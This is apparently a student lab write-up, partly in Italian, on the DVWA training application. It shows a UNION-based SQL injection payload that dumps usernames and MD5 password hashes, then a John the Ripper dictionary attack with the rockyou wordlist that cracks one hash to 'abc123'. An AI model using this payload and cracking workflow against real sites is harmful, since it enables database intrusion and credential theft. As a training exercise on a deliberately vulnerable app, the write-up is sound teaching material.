

Home

Instructions

Setup

Brute Force

Command Execution

CSRF

File Inclusion

SQL Injection

SQL Injection (Blind)

Upload

XSS reflected

XSS stored

DVWA Security

PHP Info

About

Logout

## Vulnerability: SQL Injection

User ID:

Submit

ID: 'UNION SELECT user, password FROM dvwa.users#  
First name: admin  
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

ID: 'UNION SELECT user, password FROM dvwa.users#  
First name: gordonb  
Surname: e99a18c428cb38d5f260853678922e03

ID: 'UNION SELECT user, password FROM dvwa.users#  
First name: 1337  
Surname: 8d3533d75ae2c3966d7e0d4fcc69216b

ID: 'UNION SELECT user, password FROM dvwa.users#  
First name: pablo  
Surname: 0d107d09f5bbe40cade3de5c71e9e9b7

ID: 'UNION SELECT user, password FROM dvwa.users#  
First name: smithy  
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

### More info

<http://www.securiteam.com/securityreviews/SDP0N1P76E.html>  
[http://en.wikipedia.org/wiki/SQL\\_injection](http://en.wikipedia.org/wiki/SQL_injection)  
<http://www.unixwiz.net/techtips/sql-injection.html>

kali@kali: ~

File Actions Edit View Help

GNU nano 8.1 password.txt \*

gordonb:e99a18c428cb38d5f260853678922e03

DVWA

Vulnerability: SQL Injection

User ID:

Submit

ID: 'UNION SELECT user, password FROM dvwa.users#  
First name: admin  
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

ID: 'UNION SELECT user, password FROM dvwa.users#  
First name: gordonb  
Surname: e99a18c428cb38d5f260853678922e03

ID: 'UNION SELECT user, password FROM dvwa.users#  
First name: 1337  
Surname: 8d3533d75ae2c3966d7e0d4fcc69216b

ID: 'UNION SELECT user, password FROM dvwa.users#  
First name: pablo  
Surname: 0d107d09f5bbe40cade3de5c71e9e9b7

ID: 'UNION SELECT user, password FROM dvwa.users#  
First name: smithy  
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

[ ^W = Ctrl+W M-W = Alt+W ]

```
kali@kali: ~  
File Actions Edit View Help  
ata/rockyou.txt  
--2025-03-03 05:29:04-- https://github.com/brannondorsey/naive-hashcat/releases/download/data/rockyou.txt  
Resolving github.com (github.com)... failed: Temporary failure in name resolution.  
wget: unable to resolve host address 'github.com'  
  
(kali@kali)-[~]  
$ john --wordlist=/usr/share/wordlists  
Password files required, but none specified  
  
(kali@kali)-[~]  
$ john --wordlist=/usr/share/wordlists/rockyou.txt --format=Raw-MD5 passwd.txt  
Using default input encoding: UTF-8  
Loaded 1 password hash (Raw-MD5 [MD5 256/256 AVX2 8x3])  
Warning: no OpenMP support for this hash type, consider --fork=2  
Press 'q' or Ctrl-C to abort, almost any other key for status  
abc123 (gordonb)  
1g 0:00:00:00 DONE (2025-03-03 05:33) 33.33g/s 12800p/s 12800c/s 12800C/s 123456 .. michael1  
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably  
Session completed.  
  
(kali@kali)-[~]  
$
```

Attraverso il cracking di password è possibile ottenere la password originale a partire da un hash vale a dire una rappresentazione crittografata, utilizzando differenti metodi.

In questo caso l'attacco di cracking è di tipo attacco di dizionario, in sostanza si basa sul fatto che le persone generalmente utilizzano parole comuni per le password quindi l'attaccante prova le parole che si trovano in una wordlist.

Come wordlist ho scelto rockyou.txt precedentemente decompresso questo file contiene numerose parole comuni, frasi, numeri....

In sostanza ogni parola contenuta nel file viene hashata e confrontata con l'hash della password da decifrare quindi se una corrispondenza viene trovata, la password è stata craccata.

Per effettuare questo controllo è stato usato John the Ripper.

```
(kali㉿kali)-[~]
$ john --show --format=Raw-MD5 password.txt
gordonb:abc123
```

```
1 password hash cracked, 0 left
```

```
(kali㉿kali)-[~]
$
```